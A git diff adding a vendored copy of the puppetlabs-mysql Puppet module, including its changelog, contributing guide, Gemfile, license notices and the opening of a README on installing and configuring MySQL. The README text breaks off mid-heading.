+Last, the new hiera integration functionality should make it easier to +externalize all your grants, users, and, databases. Another great set of +community submissions helped to make this release. + +#### Features +- Some options can not take a argument. Gets rid of the '= true' when an +option is set to true. +- Easier hiera integration: Add hash parameters to mysql::server to allow +specifying grants, users, and databases. + +#### Bugfixes +- Fix an issue with lowercase privileges in mysql_grant{} causing them to be reapplied needlessly. +- Changed defaults-file to defaults-extra-file in providers. +- Ensure /root/.my.cnf is 0600 and root owned. +- database_user deprecation warning was incorrect. +- Add anchor pattern for client.pp +- Documentation improvements. +- Various test fixes. + + +## 2013-10-21 - Version 2.0.1 + +### Summary + +This is a bugfix release to handle an issue where unsorted mysql_grant{} +privileges could cause Puppet to incorrectly reapply the permissions on +each run. + +#### Bugfixes +- Mysql_grant now sorts privileges in the type and provider for comparison. +- Comment and test tweak for PE3.1. + + +## 2013-10-14 - Version 2.0.0 + +### Summary + +(Previously detailed in the changelog for 2.0.0-rc1) + +This module has been completely refactored and works significantly different. +The changes are broad and touch almost every piece of the module. + +See the README.md for full details of all changes and syntax. +Please remain on 1.0.0 if you don't have time to fully test this in dev. + +* mysql::server, mysql::client, and mysql::bindings are the primary interface +classes. +* mysql::server takes an `override_options` parameter to set my.cnf options, +with the hash format: { 'section' => { 'thing' => 'value' }} +* mysql attempts backwards compatibility by forwarding all parameters to +mysql::server. + + +## 2013-10-09 - Version 2.0.0-rc5 + +### Summary + +Hopefully the final rc! Further fixes to mysql_grant (stripping out the +cleverness so we match a much wider range of input.) + +#### Bugfixes +- Make mysql_grant accept '.*'@'.*' in terms of input for user@host. + + +## 2013-10-09 - Version 2.0.0-rc4 + +### Summary + +Bugfixes to mysql_grant and mysql_user form the bulk of this rc, as well as +ensuring that values in the override_options hash that contain a value of '' +are created as just "key" in the conf rather than "key =" or "key = false". + +#### Bugfixes +- Improve mysql_grant to work with IPv6 addresses (both long and short). +- Ensure @host users work as well as user@host users. +- Updated my.cnf template to support items with no values. + + +## 2013-10-07 - Version 2.0.0-rc3 + +### Summary +Fix mysql::server::monitor's use of mysql_user{}. + +#### Bugfixes +- Fix myql::server::monitor's use of mysql_user{} to grant the proper +permissions. Add specs as well. (Thanks to treydock!) + + +## 2013-10-03 - Version 2.0.0-rc2 + +### Summary +Bugfixes + +#### Bugfixes +- Fix a duplicate parameter in mysql::server + + +## 2013-10-03 - Version 2.0.0-rc1 + +### Summary + +This module has been completely refactored and works significantly different. +The changes are broad and touch almost every piece of the module. + +See the README.md for full details of all changes and syntax. +Please remain on 1.0.0 if you don't have time to fully test this in dev. + +* mysql::server, mysql::client, and mysql::bindings are the primary interface +classes. +* mysql::server takes an `override_options` parameter to set my.cnf options, +with the hash format: { 'section' => { 'thing' => 'value' }} +* mysql attempts backwards compatibility by forwarding all parameters to +mysql::server. + +--- +## 2013-09-23 - Version 1.0.0 + +### Summary + +This release introduces a number of new type/providers, to eventually +replace the database_ ones. The module has been converted to call the +new providers rather than the previous ones as they have a number of +fixes, additional options, and work with puppet resource. + +This 1.0.0 release precedes a large refactoring that will be released +almost immediately after as 2.0.0. + +#### Features +- Added mysql_grant, mysql_database, and mysql_user. +- Add `mysql::bindings` class and refactor all other bindings to be contained underneath mysql::bindings:: namespace. +- Added support to back up specified databases only with 'mysqlbackup' parameter. +- Add option to mysql::backup to set the backup script to perform a mysqldump on each database to its own file + +#### Bugfixes +- Update my.cnf.pass.erb to allow custom socket support +- Add environment variable for .my.cnf in mysql::db. +- Add HOME environment variable for .my.cnf to mysqladmin command when +(re)setting root password + +--- +## 2013-07-15 - Version 0.9.0 +#### Features +- Add `mysql::backup::backuprotate` parameter +- Add `mysql::backup::delete_before_dump` parameter +- Add `max_user_connections` attribute to `database_user` type + +#### Bugfixes +- Add client package dependency for `mysql::db` +- Remove duplicate `expire_logs_days` and `max_binlog_size` settings +- Make root's `.my.cnf` file path dynamic +- Update pidfile path for Suse variants +- Fixes for lint + +## 2013-07-05 - Version 0.8.1 +#### Bugfixes + - Fix a typo in the Fedora 19 support. + +## 2013-07-01 - Version 0.8.0 +#### Features + - mysql::perl class to install perl-DBD-mysql. + - minor improvements to the providers to improve reliability + - Install the MariaDB packages on Fedora 19 instead of MySQL. + - Add new `mysql` class parameters: + - `max_connections`: The maximum number of allowed connections. + - `manage_config_file`: Opt out of puppetized control of my.cnf. + - `ft_min_word_len`: Fine tune the full text search. + - `ft_max_word_len`: Fine tune the full text search. + - Add new `mysql` class performance tuning parameters: + - `key_buffer` + - `thread_stack` + - `thread_cache_size` + - `myisam-recover` + - `query_cache_limit` + - `query_cache_size` + - `max_connections` + - `tmp_table_size` + - `table_open_cache` + - `long_query_time` + - Add new `mysql` class replication parameters: + - `server_id` + - `sql_log_bin` + - `log_bin` + - `max_binlog_size` + - `binlog_do_db` + - `expire_logs_days` + - `log_bin_trust_function_creators` + - `replicate_ignore_table` + - `replicate_wild_do_table` + - `replicate_wild_ignore_table` + - `expire_logs_days` + - `max_binlog_size` + +#### Bugfixes + - No longer restart MySQL when /root/.my.cnf changes. + - Ensure mysql::config runs before any mysql::db defines. + +## 2013-06-26 - Version 0.7.1 +#### Bugfixes +- Single-quote password for special characters +- Update travis testing for puppet 3.2.x and missing Bundler gems + +## 2013-06-25 - Version 0.7.0 +This is a maintenance release for community bugfixes and exposing +configuration variables. + +* Add new `mysql` class parameters: + - `basedir`: The base directory mysql uses + - `bind_address`: The IP mysql binds to + - `client_package_name`: The name of the mysql client package + - `config_file`: The location of the server config file + - `config_template`: The template to use to generate my.cnf + - `datadir`: The directory MySQL's datafiles are stored + - `default_engine`: The default engine to use for tables + - `etc_root_password`: Whether or not to add the mysql root password to + /etc/my.cnf + - `java_package_name`: The name of the java package containing the java + connector + - `log_error`: Where to log errors + - `manage_service`: Boolean dictating if mysql::server should manage the + service + - `max_allowed_packet`: Maximum network packet size mysqld will accept + - `old_root_password`: Previous root user password + - `php_package_name`: The name of the phpmysql package to install + - `pidfile`: The location mysql will expect the pidfile to be + - `port`: The port mysql listens on + - `purge_conf_dir`: Value fed to recurse and purge parameters of the + /etc/mysql/conf.d resource + - `python_package_name`: The name of the python mysql package to install + - `restart`: Whether to restart mysqld + - `root_group`: Use specified group for root-owned files + - `root_password`: The root MySQL password to use + - `ruby_package_name`: The name of the ruby mysql package to install + - `ruby_package_provider`: The installation suite to use when installing the + ruby package + - `server_package_name`: The name of the server package to install + - `service_name`: The name of the service to start + - `service_provider`: The name of the service provider + - `socket`: The location of the MySQL server socket file + - `ssl_ca`: The location of the SSL CA Cert + - `ssl_cert`: The location of the SSL Certificate to use + - `ssl_key`: The SSL key to use + - `ssl`: Whether or not to enable ssl + - `tmpdir`: The directory MySQL's tmpfiles are stored +* Deprecate `mysql::package_name` parameter in favor of +`mysql::client_package_name` +* Fix local variable template deprecation +* Fix dependency ordering in `mysql::db` +* Fix ANSI quoting in queries +* Fix travis support (but still messy) +* Fix typos + +## 2013-01-11 - Version 0.6.1 +* Fix providers when /root/.my.cnf is absent + +## 2013-01-09 - Version 0.6.0 +* Add `mysql::server::config` define for specific config directives +* Add `mysql::php` class for php support +* Add `backupcompress` parameter to `mysql::backup` +* Add `restart` parameter to `mysql::config` +* Add `purge_conf_dir` parameter to `mysql::config` +* Add `manage_service` parameter to `mysql::server` +* Add syslog logging support via the `log_error` parameter +* Add initial SuSE support +* Fix remove non-localhost root user when fqdn != hostname +* Fix dependency in `mysql::server::monitor` +* Fix .my.cnf path for root user and root password +* Fix ipv6 support for users +* Fix / update various spec tests +* Fix typos +* Fix lint warnings + +## 2012-08-23 - Version 0.5.0 +* Add puppetlabs/stdlib as requirement +* Add validation for mysql privs in provider +* Add `pidfile` parameter to mysql::config +* Add `ensure` parameter to mysql::db +* Add Amazon linux support +* Change `bind_address` parameter to be optional in my.cnf template +* Fix quoting root passwords + +## 2012-07-24 - Version 0.4.0 +* Fix various bugs regarding database names +* FreeBSD support +* Allow specifying the storage engine +* Add a backup class +* Add a security class to purge default accounts + +## 2012-05-03 - Version 0.3.0 +* 14218 Query the database for available privileges +* Add mysql::java class for java connector installation +* Use correct error log location on different distros +* Fix set_mysql_rootpw to properly depend on my.cnf + +## 2012-04-11 - Version 0.2.0 + +## 2012-03-19 - William Van Hevelingen +* (#13203) Add ssl support (f7e0ea5) + +## 2012-03-18 - Nan Liu +* Travis ci before script needs success exit code. (0ea463b) + +## 2012-03-18 - Nan Liu +* Fix Puppet 2.6 compilation issues. (9ebbbc4) + +## 2012-03-16 - Nan Liu +* Add travis.ci for testing multiple puppet versions. (33c72ef) + +## 2012-03-15 - William Van Hevelingen +* (#13163) Datadir should be configurable (f353fc6) + +## 2012-03-16 - Nan Liu +* Document create_resources dependency. (558a59c) + +## 2012-03-16 - Nan Liu +* Fix spec test issues related to error message. (eff79b5) + +## 2012-03-16 - Nan Liu +* Fix mysql service on Ubuntu. (72da2c5) + +## 2012-03-16 - Dan Bode +* Add more spec test coverage (55e399d) + +## 2012-03-16 - Nan Liu +* (#11963) Fix spec test due to path changes. (1700349) + +## 2012-03-07 - François Charlier +* Add a test to check path for 'mysqld-restart' (b14c7d1) + +## 2012-03-07 - François Charlier +* Fix path for 'mysqld-restart' (1a9ae6b) + +## 2012-03-15 - Dan Bode +* Add rspec-puppet tests for mysql::config (907331a) + +## 2012-03-15 - Dan Bode +* Moved class dependency between sever and config to server (da62ad6) + +## 2012-03-14 - Dan Bode +* Notify mysql restart from set_mysql_rootpw exec (0832a2c) + +## 2012-03-15 - Nan Liu +* Add documentation related to osfamily fact. (8265d28) + +## 2012-03-14 - Dan Bode +* Mention osfamily value in failure message (e472d3b) + +## 2012-03-14 - Dan Bode +* Fix bug when querying for all database users (015490c) + +## 2012-02-09 - Nan Liu +* Major refactor of mysql module. (b1f90fd) + +## 2012-01-11 - Justin Ellison +* Ruby and Python's MySQL libraries are named differently on different distros. (1e926b4) + +## 2012-01-11 - Justin Ellison +* Per @ghoneycutt, we should fail explicitly and explain why. (09af083) + +## 2012-01-11 - Justin Ellison +* Removing duplicate declaration (7513d03) + +## 2012-01-10 - Justin Ellison +* Use socket value from params class instead of hardcoding. (663e97c) + +## 2012-01-10 - Justin Ellison +* Instead of hardcoding the config file target, pull it from mysql::params (031a47d) + +## 2012-01-10 - Justin Ellison +* Moved $socket to within the case to toggle between distros. Added a $config_file variable to allow per-distro config file destinations. (360eacd) + +## 2012-01-10 - Justin Ellison +* Pretty sure this is a bug, 99% of Linux distros out there won't ever hit the default. (3462e6b) + +## 2012-02-09 - William Van Hevelingen +* Changed the README to use markdown (3b7dfeb) + +## 2012-02-04 - Daniel Black +* (#12412) mysqltuner.pl update (b809e6f) + +## 2011-11-17 - Matthias Pigulla +* (#11363) Add two missing privileges to grant: event_priv, trigger_priv (d15c9d1) + +## 2011-12-20 - Jeff McCune +* (minor) Fixup typos in Modulefile metadata (a0ed6a1) + +## 2011-12-19 - Carl Caum +* Only notify Exec to import sql if sql is given (0783c74) + +## 2011-12-19 - Carl Caum +* (#11508) Only load sql_scripts on DB creation (e3b9fd9) + +## 2011-12-13 - Justin Ellison +* Require not needed due to implicit dependencies (3058feb) + +## 2011-12-13 - Justin Ellison +* Bug #11375: puppetlabs-mysql fails on CentOS/RHEL (a557b8d) + +## 2011-06-03 - Dan Bode - 0.0.1 +* initial commit + +[5.3.0]:https://github.com/puppetlabs/puppetlabs-mysql/compare/5.2.1...5.3.0 +[5.2.1]:https://github.com/puppetlabs/puppetlabs-mysql/compare/5.2.0...5.2.1 +[5.2.0]:https://github.com/puppetlabs/puppetlabs-mysql/compare/5.1.0...5.2.0 +[5.1.0]:https://github.com/puppetlabs/puppetlabs-mysql/compare/5.0.0...5.1.0 +[5.0.0]:https://github.com/puppetlabs/puppetlabs-mysql/compare/4.0.1...5.0.0 diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/CONTRIBUTING.md b/modules/services/unix/database/mysql_stretch_compatible/mysql/CONTRIBUTING.md new file mode 100644 index 000000000..1a9fb3a5c --- /dev/null +++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/CONTRIBUTING.md @@ -0,0 +1,271 @@ +# Contributing to Puppet modules + +So you want to contribute to a Puppet module: Great! Below are some instructions to get you started doing +that very thing while setting expectations around code quality as well as a few tips for making the +process as easy as possible. + +### Table of Contents + +1. [Getting Started](#getting-started) +1. [Commit Checklist](#commit-checklist) +1. [Submission](#submission) +1. [More about commits](#more-about-commits) +1. [Testing](#testing) + - [Running Tests](#running-tests) + - [Writing Tests](#writing-tests) +1. [Get Help](#get-help) + +## Getting Started + +- Fork the module repository on GitHub and clone to your workspace + +- Make your changes! + +## Commit Checklist + +### The Basics + +- [x] my commit is a single logical unit of work + +- [x] I have checked for unnecessary whitespace with "git diff --check" + +- [x] my commit does not include commented out code or unneeded files + +### The Content + +- [x] my commit includes tests for the bug I fixed or feature I added + +- [x] my commit includes appropriate documentation changes if it is introducing a new feature or changing existing functionality + +- [x] my code passes existing test suites + +### The Commit Message + +- [x] the first line of my commit message includes: + + - [x] an issue number (if applicable), e.g. "(MODULES-xxxx) This is the first line" + + - [x] a short description (50 characters is the soft limit, excluding ticket number(s)) + +- [x] the body of my commit message: + + - [x] is meaningful + + - [x] uses the imperative, present tense: "change", not "changed" or "changes" + + - [x] includes motivation for the change, and contrasts its implementation with the previous behavior + +## Submission + +### Pre-requisites + +- Make sure you have a [GitHub account](https://github.com/join) + +- [Create a ticket](https://tickets.puppet.com/secure/CreateIssue!default.jspa), or [watch the ticket](https://tickets.puppet.com/browse/) you are patching for. + +### Push and PR + +- Push your changes to your fork + +- [Open a Pull Request](https://help.github.com/articles/creating-a-pull-request-from-a-fork/) against the repository in the puppetlabs organization + +## More about commits + + 1. Make separate commits for logically separate changes. + + Please break your commits down into logically consistent units + which include new or changed tests relevant to the rest of the + change. The goal of doing this is to make the diff easier to + read for whoever is reviewing your code. In general, the easier + your diff is to read, the more likely someone will be happy to + review it and get it into the code base. + + If you are going to refactor a piece of code, please do so as a + separate commit from your feature or bug fix changes. + + We also really appreciate changes that include tests to make + sure the bug is not re-introduced, and that the feature is not + accidentally broken. + + Describe the technical detail of the change(s). If your + description starts to get too long, that is a good sign that you + probably need to split up your commit into more finely grained + pieces. + + Commits which plainly describe the things which help + reviewers check the patch and future developers understand the + code are much more likely to be merged in with a minimum of + bike-shedding or requested changes. Ideally, the commit message + would include information, and be in a form suitable for + inclusion in the release notes for the version of Puppet that + includes them. + + Please also check that you are not introducing any trailing + whitespace or other "whitespace errors". You can do this by + running "git diff --check" on your changes before you commit. + + 2. Sending your patches + + To submit your changes via a GitHub pull request, we _highly_ + recommend that you have them on a topic branch, instead of + directly on "master". + It makes things much easier to keep track of, especially if + you decide to work on another thing before your first change + is merged in. + + GitHub has some pretty good + [general documentation](http://help.github.com/) on using + their site. They also have documentation on + [creating pull requests](https://help.github.com/articles/creating-a-pull-request-from-a-fork/). + + In general, after pushing your topic branch up to your + repository on GitHub, you can switch to the branch in the + GitHub UI and click "Pull Request" towards the top of the page + in order to open a pull request. + + 3. Update the related JIRA issue. + + If there is a JIRA issue associated with the change you + submitted, then you should update the ticket to include the + location of your branch, along with any other commentary you + may wish to make. + +# Testing + +## Getting Started + +Our Puppet modules provide [`Gemfile`](./Gemfile)s, which can tell a Ruby package manager such as [bundler](http://bundler.io/) what Ruby packages, +or Gems, are required to build, develop, and test this software. + +Please make sure you have [bundler installed](http://bundler.io/#getting-started) on your system, and then use it to +install all dependencies needed for this project in the project root by running + +```shell +% bundle install --path .bundle/gems +Fetching gem metadata from https://rubygems.org/........ +Fetching gem metadata from https://rubygems.org/.. +Using rake (10.1.0) +Using builder (3.2.2) +-- 8><-- many more --><8 -- +Using rspec-system-puppet (2.2.0) +Using serverspec (0.6.3) +Using rspec-system-serverspec (1.0.0) +Using bundler (1.3.5) +Your bundle is complete! +Use `bundle show [gemname]` to see where a bundled gem is installed. +``` + +NOTE: some systems may require you to run this command with sudo. + +If you already have those gems installed, make sure they are up-to-date: + +```shell +% bundle update +``` + +## Running Tests + +With all dependencies in place and up-to-date, run the tests: + +### Unit Tests + +```shell +% bundle exec rake spec +``` + +This executes all the [rspec tests](http://rspec-puppet.com/) in the directories defined [here](https://github.com/puppetlabs/puppetlabs_spec_helper/blob/699d9fbca1d2489bff1736bb254bb7b7edb32c74/lib/puppetlabs_spec_helper/rake_tasks.rb#L17) and so on. +rspec tests may have the same kind of dependencies as the module they are testing. Although the module defines these dependencies in its [metadata.json](./metadata.json), +rspec tests define them in [.fixtures.yml](./fixtures.yml). + +### Acceptance Tests + +Some Puppet modules also come with acceptance tests, which use [beaker][]. These tests spin up a virtual machine under +[VirtualBox](https://www.virtualbox.org/), controlled with [Vagrant](http://www.vagrantup.com/), to simulate scripted test +scenarios. In order to run these, you need both Virtualbox and Vagrant installed on your system. + +Run the tests by issuing the following command + +```shell +% bundle exec rake spec_clean +% bundle exec rspec spec/acceptance +``` + +This will now download a pre-fabricated image configured in the [default node-set](./spec/acceptance/nodesets/default.yml), +install Puppet, copy this module, and install its dependencies per [spec/spec_helper_acceptance.rb](./spec/spec_helper_acceptance.rb) +and then run all the tests under [spec/acceptance](./spec/acceptance). + +## Writing Tests + +### Unit Tests + +When writing unit tests for Puppet, [rspec-puppet][] is your best friend. It provides tons of helper methods for testing your manifests against a +catalog (e.g. contain_file, contain_package, with_params, etc). It would be ridiculous to try and top rspec-puppet's [documentation][rspec-puppet_docs] +but here's a tiny sample: + +Sample manifest: + +```puppet +file { "a test file": + ensure => present, + path => "/etc/sample", +} +``` + +Sample test: + +```ruby +it 'does a thing' do + expect(subject).to contain_file("a test file").with({:path => "/etc/sample"}) +end +``` + +### Acceptance Tests + +Writing acceptance tests for Puppet involves [beaker][] and its cousin [beaker-rspec][]. A common pattern for acceptance tests is to create a test manifest, apply it +twice to check for idempotency or errors, then run expectations. + +```ruby +it 'does an end-to-end thing' do + pp = <<-EOF + file { 'a test file': + ensure => present, + path => "/etc/sample", + content => "test string", + } + + apply_manifest(pp, :catch_failures => true) + apply_manifest(pp, :catch_changes => true) + +end + +describe file("/etc/sample") do + it { is_expected.to contain "test string" } +end + +``` + +# If you have commit access to the repository + +Even if you have commit access to the repository, you still need to go through the process above, and have someone else review and merge +in your changes. The rule is that **all changes must be reviewed by a project developer that did not write the code to ensure that +all changes go through a code review process.** + +The record of someone performing the merge is the record that they performed the code review. Again, this should be someone other than the author of the topic branch. + +# Get Help + +### On the web +* [Puppet help messageboard](http://puppet.com/community/get-help) +* [Writing tests](https://docs.puppet.com/guides/module_guides/bgtm.html#step-three-module-testing) +* [General GitHub documentation](http://help.github.com/) +* [GitHub pull request documentation](http://help.github.com/send-pull-requests/) + +### On chat +* Slack (slack.puppet.com) #forge-modules, #puppet-dev, #windows, #voxpupuli +* IRC (freenode) #puppet-dev, #voxpupuli + + +[rspec-puppet]: http://rspec-puppet.com/ +[rspec-puppet_docs]: http://rspec-puppet.com/documentation/ +[beaker]: https://github.com/puppetlabs/beaker +[beaker-rspec]: https://github.com/puppetlabs/beaker-rspec diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/Gemfile b/modules/services/unix/database/mysql_stretch_compatible/mysql/Gemfile new file mode 100644 index 000000000..2ededb50a --- /dev/null +++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/Gemfile @@ -0,0 +1,137 @@ +source ENV['GEM_SOURCE'] || 'https://rubygems.org' + +def location_for(place_or_version, fake_version = nil) + if place_or_version =~ %r{\A(git[:@][^#]*)#(.*)} + [fake_version, { git: Regexp.last_match(1), branch: Regexp.last_match(2), require: false }].compact + elsif place_or_version =~ %r{\Afile:\/\/(.*)} + ['>= 0', { path: File.expand_path(Regexp.last_match(1)), require: false }] + else + [place_or_version, { require: false }] + end +end + +def gem_type(place_or_version) + if place_or_version =~ %r{\Agit[:@]} + :git + elsif !place_or_version.nil? && place_or_version.start_with?('file:') + :file + else + :gem + end +end + +ruby_version_segments = Gem::Version.new(RUBY_VERSION.dup).segments +minor_version = ruby_version_segments[0..1].join('.') + +group :development do + gem "fast_gettext", '1.1.0', require: false if Gem::Version.new(RUBY_VERSION.dup) < Gem::Version.new('2.1.0') + gem "fast_gettext", require: false if Gem::Version.new(RUBY_VERSION.dup) >= Gem::Version.new('2.1.0') + gem "json_pure", '<= 2.0.1', require: false if Gem::Version.new(RUBY_VERSION.dup) < Gem::Version.new('2.0.0') + gem "json", '= 1.8.1', require: false if Gem::Version.new(RUBY_VERSION.dup) == Gem::Version.new('2.1.9') + gem "puppet-module-posix-default-r#{minor_version}", require: false, platforms: [:ruby] + gem "puppet-module-posix-dev-r#{minor_version}", require: false, platforms: [:ruby] + gem "puppet-module-win-default-r#{minor_version}", require: false, platforms: [:mswin, :mingw, :x64_mingw] + gem "puppet-module-win-dev-r#{minor_version}", require: false, platforms: [:mswin, :mingw, :x64_mingw] + gem "puppet-blacksmith", '~> 3.4', require: false + gem "puppet-lint-i18n", require: false +end +group :system_tests do + gem "puppet-module-posix-system-r#{minor_version}", require: false, platforms: [:ruby] + gem "puppet-module-win-system-r#{minor_version}", require: false, platforms: [:mswin, :mingw, :x64_mingw] + gem "beaker", *location_for(ENV['BEAKER_VERSION'] || '~> 3.13') + gem "beaker-abs", *location_for(ENV['BEAKER_ABS_VERSION'] || '~> 0.1') + gem "beaker-pe", require: false + gem "beaker-hostgenerator" + gem "beaker-rspec" +end + +puppet_version = ENV['PUPPET_GEM_VERSION'] +puppet_type = gem_type(puppet_version) +facter_version = ENV['FACTER_GEM_VERSION'] +hiera_version = ENV['HIERA_GEM_VERSION'] + +def puppet_older_than?(version) + puppet_version = ENV['PUPPET_GEM_VERSION'] + !puppet_version.nil? && + Gem::Version.correct?(puppet_version) && + Gem::Requirement.new("< #{version}").satisfied_by?(Gem::Version.new(puppet_version.dup)) +end + +gems = {} + +gems['puppet'] = location_for(puppet_version) + +# If facter or hiera versions have been specified via the environment +# variables, use those versions. If not, and if the puppet version is < 3.5.0, +# use known good versions of both for puppet < 3.5.0. +if facter_version + gems['facter'] = location_for(facter_version) +elsif puppet_type == :gem && puppet_older_than?('3.5.0') + gems['facter'] = ['>= 1.6.11', '<= 1.7.5', require: false] +end + +if hiera_version + gems['hiera'] = location_for(ENV['HIERA_GEM_VERSION']) +elsif puppet_type == :gem && puppet_older_than?('3.5.0') + gems['hiera'] = ['>= 1.0.0', '<= 1.3.0', require: false] +end + +if Gem.win_platform? && (puppet_type != :gem || puppet_older_than?('3.5.0')) + # For Puppet gems < 3.5.0 (tested as far back as 3.0.0) on Windows + if puppet_type == :gem + gems['ffi'] = ['1.9.0', require: false] + gems['minitar'] = ['0.5.4', require: false] + gems['win32-eventlog'] = ['0.5.3', '<= 0.6.5', require: false] + gems['win32-process'] = ['0.6.5', '<= 0.7.5', require: false] + gems['win32-security'] = ['~> 0.1.2', '<= 0.2.5', require: false] + gems['win32-service'] = ['0.7.2', '<= 0.8.8', require: false] + else + gems['ffi'] = ['~> 1.9.0', require: false] + gems['minitar'] = ['~> 0.5.4', require: false] + gems['win32-eventlog'] = ['~> 0.5', '<= 0.6.5', require: false] + gems['win32-process'] = ['~> 0.6', '<= 0.7.5', require: false] + gems['win32-security'] = ['~> 0.1', '<= 0.2.5', require: false] + gems['win32-service'] = ['~> 0.7', '<= 0.8.8', require: false] + end + + gems['win32-dir'] = ['~> 0.3', '<= 0.4.9', require: false] + + if RUBY_VERSION.start_with?('1.') + gems['win32console'] = ['1.3.2', require: false] + # sys-admin was removed in Puppet 3.7.0 and doesn't compile under Ruby 2.x + gems['sys-admin'] = ['1.5.6', require: false] + end + + # Puppet < 3.7.0 requires these. + # Puppet >= 3.5.0 gem includes these as requirements. + # The following versions are tested to work with 3.0.0 <= puppet < 3.7.0. + gems['win32-api'] = ['1.4.8', require: false] + gems['win32-taskscheduler'] = ['0.2.2', require: false] + gems['windows-api'] = ['0.4.3', require: false] + gems['windows-pr'] = ['1.2.3', require: false] +elsif Gem.win_platform? + # If we're using a Puppet gem on Windows which handles its own win32-xxx gem + # dependencies (>= 3.5.0), set the maximum versions (see PUP-6445). + gems['win32-dir'] = ['<= 0.4.9', require: false] + gems['win32-eventlog'] = ['<= 0.6.5', require: false] + gems['win32-process'] = ['<= 0.7.5', require: false] + gems['win32-security'] = ['<= 0.2.5', require: false] + gems['win32-service'] = ['<= 0.8.8', require: false] +end + +gems.each do |gem_name, gem_params| + gem gem_name, *gem_params +end + +# Evaluate Gemfile.local and ~/.gemfile if they exist +extra_gemfiles = [ + "#{__FILE__}.local", + File.join(Dir.home, '.gemfile'), +] + +extra_gemfiles.each do |gemfile| + if File.file?(gemfile) && File.readable?(gemfile) + eval(File.read(gemfile), binding) + end +end +# vim: syntax=ruby diff --git a/modules/services/unix/database/mysql/LICENSE b/modules/services/unix/database/mysql_stretch_compatible/mysql/LICENSE similarity index 100% rename from modules/services/unix/database/mysql/LICENSE rename to modules/services/unix/database/mysql_stretch_compatible/mysql/LICENSE diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/MAINTAINERS.md b/modules/services/unix/database/mysql_stretch_compatible/mysql/MAINTAINERS.md new file mode 100644 index 000000000..31c2e390d --- /dev/null +++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/MAINTAINERS.md @@ -0,0 +1,6 @@ +## Maintenance + +Maintainers: + - Puppet Forge Modules Team `forge-modules |at| puppet |dot| com` + +Tickets: https://tickets.puppet.com/browse/MODULES. Make sure to set component to `mysql`. diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/NOTICE b/modules/services/unix/database/mysql_stretch_compatible/mysql/NOTICE new file mode 100644 index 000000000..efe67c40a --- /dev/null +++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/NOTICE @@ -0,0 +1,15 @@ +Puppet Module - puppetlabs-mysql + +Copyright 2018 Puppet, Inc. + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. \ No newline at end of file diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/README.md b/modules/services/unix/database/mysql_stretch_compatible/mysql/README.md new file mode 100644 index 000000000..b7273d050 --- /dev/null +++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/README.md @@ -0,0 +1,1329 @@ +# mysql + +#### Table of Contents + +1. [Module Description - What the module does and why it is useful](#module-description) +2. [Setup - The basics of getting started with mysql](#setup) + * [Beginning with mysql](#beginning-with-mysql) +3. [Usage - Configuration options and additional functionality](#usage) + * [Customize server options](#customize-server-options) + * [Create a database](#create-a-database) + * [Customize configuration](#customize-configuration) + * [Work with an existing server](#work-with-an-existing-server) + * [Specify passwords](#specify-passwords) + * [Install Percona server on CentOS](#install-percona-server-on-centos) + * [Install MariaDB on Ubuntu](#install-mariadb-on-ubuntu) +4. [Reference - An under-the-hood peek at what the module is doing and how](#reference) +5. [Limitations - OS compatibility, etc.](#limitations) +6. [Development - Guide for contributing to the module](#development) + +## Module Description + +The mysql module installs, configures, and manages the MySQL service. + +This module manages both the installation and configuration of MySQL, as well as extending Puppet to allow management of MySQL resources, such as databases, users, and grants. + +## Setup + +### Beginning with mysql + +To install a server with the default options: + +`include '::mysql::server'`. + +To customize options, such as the root password or `/etc/my.cnf` settings, you must also pass in an override hash: + +```puppet +class { '::mysql::server': + root_password => 'strongpassword', + remove_default_accounts => true, + override_options => $override_options +} +``` + +See [**Customize Server Options**](#customize-server-options) below for examples of the hash structure for $override_options. + +## Usage + +All interaction for the server is done via `mysql::server`. To install the client, use `mysql::client`. To install bindings, use `mysql::bindings`. + +### Customize server options + +To define server options, structure a hash structure of overrides in `mysql::server`. This hash resembles a hash in the my.cnf file: + +```puppet +$override_options = { + 'section' => { + 'item' => 'thing', + } +} +``` + +For options that you would traditionally represent in this format: + +``` +[section] +thing = X +``` + +Entries can be created as `thing => true`, `thing => value`, or `thing => ""` in the hash. Alternatively, you can pass an array as `thing => ['value', 'value2']` or list each `thing => value` separately on individual lines. + +You can pass a variable in the hash without setting a value for it; the variable would then use MySQL's default settings. To exclude an option from the `my.cnf` file --- for example, when using `override_options` to revert to a default value --- pass `thing => undef`. + +If an option needs multiple instances, pass an array. For example, + +```puppet +$override_options = { + 'mysqld' => { + 'replicate-do-db' => ['base1', 'base2'], + } +} +``` + +produces + +```puppet +[mysqld] +replicate-do-db = base1 +replicate-do-db = base2 +``` + +To implement version specific parameters, specify the version, such as [mysqld-5.5]. This allows one config for different versions of MySQL. + +### Create a database + +To create a database with a user and some assigned privileges: + +```puppet +mysql::db { 'mydb': + user => 'myuser', + password => 'mypass', + host => 'localhost', + grant => ['SELECT', 'UPDATE'], +} +``` + +To use a different resource name with exported resources: + +```puppet + @@mysql::db { "mydb_${fqdn}": + user => 'myuser', + password => 'mypass', + dbname => 'mydb', + host => ${fqdn}, + grant => ['SELECT', 'UPDATE'], + tag => $domain, +} +``` + +Then you can collect it on the remote DB server: + +```puppet +Mysql::Db <<| tag == $domain |>> +``` + +If you set the sql parameter to a file when creating a database, the file is imported into the new database. + +For large sql files, increase the `import_timeout` parameter, which defaults to 300 seconds. + +```puppet +mysql::db { 'mydb': + user => 'myuser', + password => 'mypass', + host => 'localhost', + grant => ['SELECT', 'UPDATE'], + sql => '/path/to/sqlfile.gz', + import_cat_cmd => 'zcat', + import_timeout => 900, +} +``` + +### Customize configuration + +To add custom MySQL configuration, place additional files into `includedir`. This allows you to override settings or add additional ones, which is helpful if you don't use `override_options` in `mysql::server`. The `includedir` location is by default set to `/etc/mysql/conf.d`. + +### Work with an existing 